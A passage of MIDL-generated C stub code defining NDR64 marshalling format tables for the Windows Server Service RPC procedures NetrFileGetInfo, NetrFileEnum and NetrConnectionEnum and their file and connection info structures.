NetrFileGetInfo */\n    { \n    /* NetrFileGetInfo */      /* procedure NetrFileGetInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FileId */      /* parameter FileId */\n        &__midl_frag737,\n        { \n        /* FileId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag78,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag65_t __midl_frag65 =\n{ \n/*  */\n    { \n    /* *_FILE_INFO_3 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag59\n    }\n};\n\nstatic const __midl_frag64_t __midl_frag64 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag736\n    }\n};\n\nstatic const __midl_frag61_t __midl_frag61 =\n{ \n/* _FILE_INFO_3 */\n    { \n    /* _FILE_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _FILE_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag64,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* *_FILE_INFO_3 */\n    { \n    /* *_FILE_INFO_3 */\n        { \n        /* *_FILE_INFO_3 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_FILE_INFO_3 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag61\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag58_t __midl_frag58 =\n{ \n/* FILE_INFO_3_CONTAINER */\n    { \n    /* FILE_INFO_3_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FILE_INFO_3_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag65,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag57_t __midl_frag57 =\n{ \n/* *FILE_INFO_3_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag58\n};\n\nstatic const __midl_frag56_t __midl_frag56 =\n{ \n/*  */\n    { \n    /* *_FILE_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag53\n    }\n};\n\nstatic const __midl_frag53_t __midl_frag53 =\n{ \n/* *_FILE_INFO_2 */\n    { \n    /* *_FILE_INFO_2 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* *_FILE_INFO_2 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag267\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag463\n    }\n};\n\nstatic const __midl_frag52_t __midl_frag52 =\n{ \n/* FILE_INFO_2_CONTAINER */\n    { \n    /* FILE_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FILE_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag56,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag51_t __midl_frag51 =\n{ \n/* *FILE_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag52\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/* FILE_ENUM_UNION */\n    { \n    /* FILE_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag51,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag57,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag48_t __midl_frag48 =\n{ \n/* _FILE_ENUM_STRUCT */\n    { \n    /* _FILE_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _FILE_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag49\n        },\n        { \n        /* _FILE_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag47_t __midl_frag47 =\n{ \n/* *_FILE_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag48\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* NetrFileEnum */\n    { \n    /* NetrFileEnum */      /* procedure NetrFileEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BasePath */      /* parameter BasePath */\n        &__midl_frag733,\n        { \n        /* BasePath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* UserName */      /* parameter UserName */\n        &__midl_frag733,\n        { \n        /* UserName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag48,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag33_t __midl_frag33 =\n{ \n/*  */\n    { \n    /* *_CONNECTION_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag27\n    }\n};\n\nstatic const __midl_frag29_t __midl_frag29 =\n{ \n/* _CONNECTION_INFO_1 */\n    { \n    /* _CONNECTION_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _CONNECTION_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag64,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag27_t __midl_frag27 =\n{ \n/* *_CONNECTION_INFO_1 */\n    { \n    /* *_CONNECTION_INFO_1 */\n        { \n        /* *_CONNECTION_INFO_1 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_CONNECTION_INFO_1 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag29\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag26_t __midl_frag26 =\n{ \n/* CONNECT_INFO_1_CONTAINER */\n    { \n    /* CONNECT_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* CONNECT_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag33,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag25_t __midl_frag25 =\n{ \n/* *CONNECT_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag26\n};\n\nstatic const __midl_frag17_t __midl_frag17 =\n{ \n/* CONNECT_ENUM_UNION */\n    { \n    /* CONNECT_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag51,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag25,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag16_t __midl_frag16 =\n{ \n/* _CONNECT_ENUM_STRUCT */\n    { \n    /* _CONNECT_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _CONNECT_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag17\n        },\n        { \n        /* _CONNECT_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag15_t __midl_frag15 =\n{ \n/* *_CONNECT_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag16\n};\n\nstatic const __midl_frag10_t __midl_frag10 =\n{ \n/* NetrConnectionEnum */\n    { \n    /* NetrConnectionEnum */      /* procedure NetrConnectionEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, 